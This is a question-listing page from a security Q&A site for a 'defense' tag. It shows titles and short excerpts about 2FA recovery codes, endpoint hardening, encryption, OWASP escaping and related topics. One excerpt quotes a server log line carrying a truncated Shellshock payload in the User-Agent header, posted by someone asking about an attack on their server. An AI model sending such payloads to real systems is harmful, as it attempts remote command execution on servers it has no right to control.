Defense is the use of security countermeasures to protect the integrity of the information assets in an IT system and/or infrastructure.

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2answers
84 views

Should a 2FA recovery key be stored along with a password?

Many websites give you a recovery key or a list of recovery codes that can be used in place of 2FA tokens if you lose your phone or can't access your token generator. What are the recommended ...
3
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1answer
88 views

Similar products to MS EMET [closed]

Following the weekend announcement from Microsoft regarding the vulnerability in IE I have been looking at additional security defences for our endpoints. I've read some technical documentation and ...
2
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3answers
164 views

How to tell what viruses are covered by your anti-virus software

One of our corporate twitter accounts recently started sending out DMs to its followers. Looking at the content of these it seems we'd become infected with Troj/Mdrop-EML. All computers on our ...
2
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3answers
137 views

Example of application that doesn't require “strong authentication”

Does anyone have any examples of real-life applications that doesn't require "strong authentication". I am looking specifically for blog posts or even scientific papers that argue that "strong ...
2
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3answers
345 views

OWASP escaping recommendation - why /?

In OWASP recommendations regarding escaping untrusted input for HTML element content, they list the following: & --> &amp; < --> &lt; > --> &gt; " --> &quot; ' ...
2
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1answer
316 views

Localhost WebSocket defense

If a malicious application has found its way onto a computer running a localhost only WebSocket server, would it help if the communications used SSL? If so, how could SSL fail if a malicious app ...
2
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3answers
91 views

Security coding training best approach

To train the development team, there are various options one can take: inhouse presentation with code samples, CBTs so developers do it at their best time, instructor-led courses onsite or inhouse ...
2
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2answers
320 views

What is the current best practice to secure an executive's laptop?

What is the current best practice to secure an executive's laptop? The exec will be processing highly sensitive documents (high-value bids, merger & acquisition info, technical specs). As such ...
2
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1answer
133 views

How to deal with misbehaving clients on an authoritative server?

My coworker and I are developing an authoritative server for an MMO. We can't agree on how to handle "misbehaving" clients. Misbehaving, in this case, means clients who send "odd" requests that might ...
2
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1answer
52 views

Method/program for editing secure files

I'm not entirely sure if this is on-topic for Security.SE, but it doesn't seem entirely off-topic either, so I'll try. :) I keep a couple of (GPG-)encrypted files with more-or-less sensitive ...
2
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1answer
63 views

Internal network security policy for development environment

What are the best practices for network security for an internal development environment. Besides adhering to updates, antivirus, and firewall. For instance, is it recommended to use an IDS/IPS like ...
2
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1answer
57 views

How to prevent browser from rendering malacious content if request or response is hacked

We are currently working on OWASP security fixes and we identified one attack scenario for which we are trying to figure out a possible solution: User hits a valid HTTPRequest to our application. ...
2
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2answers
134 views

Which hard disk encryptions schemes are tied to the original hardware?

When using a laptop, an encrypted HD/SSD can be an important security measure. However, laptops are prone to accidents (fluid spills, dropping on the floor, etc) that may mandate some or all of the ...
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5answers
315 views

Is there something similar to DNSBL's for protecting against forceful browsing?

I want to protect a couple of Apache webservers against forceful browsing. Lately there have been multiple scans querying for non-existent applications on them like phpMyAdmin, notably known for their ...
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2answers
505 views

Application of Bayesian network for Web Application Security

How can a Bayesian network be used to perform attack analysis of web traffic? I read an interesting article on its application. "Web Application Defense with Bayesian Attack Analysis" but I was not ...
1
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1answer
184 views

What does Bluffdale mean for privacy?

I posted a question related to tracing webserver attacks over here and the responses got me google-ing. My understanding has always been that privacy is dead and that essentially there's always ...
1
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4answers
403 views

Is there any defense against Brute-Force done on a local encrypted file?

Let me start off by saying I don't know very much about encryption, hashing, cracking, etc. I'm just a typical computer enthusiasts, programmer and researcher with many questions. So, I've discovered ...
1
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1answer
167 views

Clarification about the post: Russian hackers use ‘zero-day’ to hack NATO, Ukraine in cyber-spy campaign

I have encountered the following article on Washington post: Russian hackers use ‘zero-day’ to hack NATO, Ukraine in cyber-spy campaign. As always in such kind of articles the publication sounds ...
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2answers
201 views

How to know what personal information companies know about myself

I've been learning about Cyber Security and how to protect myself online after reading some books on the subject and I want to know how much Information i've handed out to companies.
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1answer
76 views

Why should we focus on protecting root access on a home computer?

I understand why root access should be protected in general, especially in the context of a server environment. An unknown party can essentially control everything you do on a computer remotely ...
1
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2answers
79 views

Firewall Security vs Anti-Virus

Overview of my question I want to create a secure Window's system without the use of an Anti-Virus program. Whilst I know there are many on-demand and live-scanning anti-virus programs readily ...
1
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1answer
2k views

Nowadays, what is the difference between Cyber Security and IT Security? [closed]

Lately (and not so lately), you can hear a lot about cyber security. It is really hard to find an official description about this matter so, let's take the ISO 27032 description: "Cybersecurity” ...
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1answer
92 views

Ideal cryptocurrency digital signature

What are the characteristics of the ideal digital signature for cryptocurrency transaction verification? The reason I ask is because this answer about bitcoin signatures describes a potential ...
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1answer
116 views

Using SSH Private keys in Production environment

I have a need to scp a bunch of files from a production box to my development environment. I am a developer and have limited read access to the production machines. Instead of entering password for ...
1
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1answer
325 views

How to post comments on websites without being traced back

Just trying to get some general sense about the security on internet now-a-days. There are so many websites I go and comment on different things. If some comments are political and they don't like, I ...
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1answer
248 views

How ATM Surveillance Camera works? [closed]

I would like to know how the ATM pin hole camera works.Whether the pin hole camera works only once the card is inserted in ATM or during the cash withdrawal or it works always?
1
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1answer
281 views

List of social engineering hacks and defenses [closed]

Sorry if this question is absolutely stupid or irrelevant, but I can't help but ask. I am just curious about different approaches hackers take in social engineering attacks, and clever examples of ...
1
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1answer
491 views

Are there any security issues with importing mail via POP/IMAP?

I'd want to design import mail functionality for an email provider. The process is: user enters email and password for another service at my site and then site accesses another email provider and ...
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1answer
154 views

What are the risks of encrypting a database with a single symmetric key

An application is required to store sensitive data* on each user. Additional columns are added to the database which store cyphertext encrypted on the application server. The algorithm of choice is ...
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0answers
62 views

About Windows Interactive services Security

I know most services run under non interactive windows station or desktop also called session 0 while as some services (interactive) running under local system account create a window on interactive ...
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0answers
18 views

Transaction without 3DS in some online websites is Fraud prone? [duplicate]

I use my MasterCard credit card for online transactions which uses SecureCode for preventing online frauds even though hackers knows our credit card details. I have come across many sites which is ...
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2answers
68 views

secure flash update

The default method for updating flash is through Adobe's unsecured http portal, which seems to be a serious security concern, given the access that flash has on a user's machine. Can anyone recommend ...
1
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0answers
116 views

Industry average for security as a percentage of product budget?

Lets assume the product is pure software or a blend of software and cheap commodity hardware. Is there any work showing what the average industry spending is on just the security aspects as a ...
0
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1answer
95 views

What should you do when you notice weird traffic?

I'm not at this point yet, thankfully, but being prepared means knowing the answer before the issue arises, so here goes... You're looking through your firewall / website logs... And you notice a ...
0
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2answers
87 views

Need some docs that say we shouldn't upper the string when saving it as a password [closed]

I'm trying to find on the Internet some manual, guide or policy secure about applications should not convert lower string to upper string to store as password I mean, don't make ...
0
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2answers
151 views

Advice - When just starting your career, what are the best certifications to eyeball? [closed]

Im just starting out in school to study Network and Info Security. I know this is the field I want to invest my time and study into. Well over 200k security jobs went unfulfilled last year. My ...
0
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1answer
66 views

What is the difference between XSS and Cross Site Flashing? [duplicate]

I want to know the basic differences between XSS and XSF
0
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1answer
155 views

Keyboard “eavesdropping” just got way easier, thanks to electromagnetic emanations

Just found this article which basically suggests that electromagnetic emanations can be used to eavesdrop on what you're typing. ...
0
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2answers
379 views

future of graphical password authentication [closed]

I'm a student currently pursuing my Engineering in Computers. I'm planning to put all my knowledge in and try to actually implement something related to security. To be more specific I'm more ...
0
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2answers
200 views

Programming languages for security? [duplicate]

I am a computer science student interested in the field of security and just had a few questions. What are the pros and cons for using C# for security purposes, I had assumed applications programmed ...
0
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1answer
65 views

Do software systems become more secure every year? [closed]

It seems to me that computer software is becoming more secure every year - there are fewer zero-day exploits to be found, many hacker-proof concepts are becoming widespread (such as virtualization and ...
0
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1answer
104 views

Which is considered the first Cyber Security incident? [closed]

No matter we are talking about Information Security, or cyber security or IT security... I always hear first about "the moth" being the first security threat. But I don't believe it is when talking ...
0
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1answer
88 views

A demonstration of the most basic form of a data breach or similar attack

I am currently working on my bachelor thesis regarding cloud security and found this neat article describing the "Notorious nine" written by the CSA: The notoruios nine I am looking to try out some ...
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1answer
2k views

Why Qualys SSL Server Test is giving me 80 and not 100 in Key Exchange?

My openssl ciphers -v 'CIPHER' output is the following: ECDHE-ECDSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH Au=ECDSA Enc=AESGCM(256) Mac=AEAD ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH Au=RSA ...
0
votes
1answer
328 views

Recent “attack” to my server that might be using shellshock exploit

I just notice this repeated entry in nginx log: 31.184.194.114 - - [04/Mar/2015:10:29:53 +0700] "GET /cgi-bin/up.cgi HTTP/1.1" 301 178 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: ...
0
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2answers
2k views

Trying to get rid of hackers who have access to all my devices [closed]

What is the best way to go about getting rid of hackers that have gained access to all my personal computers, (both old and recently purchased) phones, and even random computers I use to simply get ...
0
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1answer
231 views

Preparation for Blue Team Competitions [closed]

I am a CS student, and am considering competing in the National Collegiate Cyber Defense Competition. Although I have a fair amount of experience in programming competitions (e.g. ACM at High School ...
0
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1answer
46 views

Is a government entity capable of establishing a secure virtual currency system? [closed]

After reading about BitCoins, I can't help but contemplate the idea of the a government withdrawing paper money and bringing all currency transactions digital, via a bitcoin-like method where every ...
0
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0answers
127 views

Asking for more information about AlienVault.com using Spiceworks, viability of “suspicious IP” alert

Website here: alienvault.com I've been trying out Spiceworks for about a week, seeing what use I get out of it. Today I log in and see an alert: "(my computer) has established a connection to ...
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2answers
362 views

Practical ways to protect against Cyber Pearl Harbor? [closed]

What practical methods should citizens be using to protect themselves against, and reduce the impact of an attack against critical national infrastructure A lot of recent news about critical network ...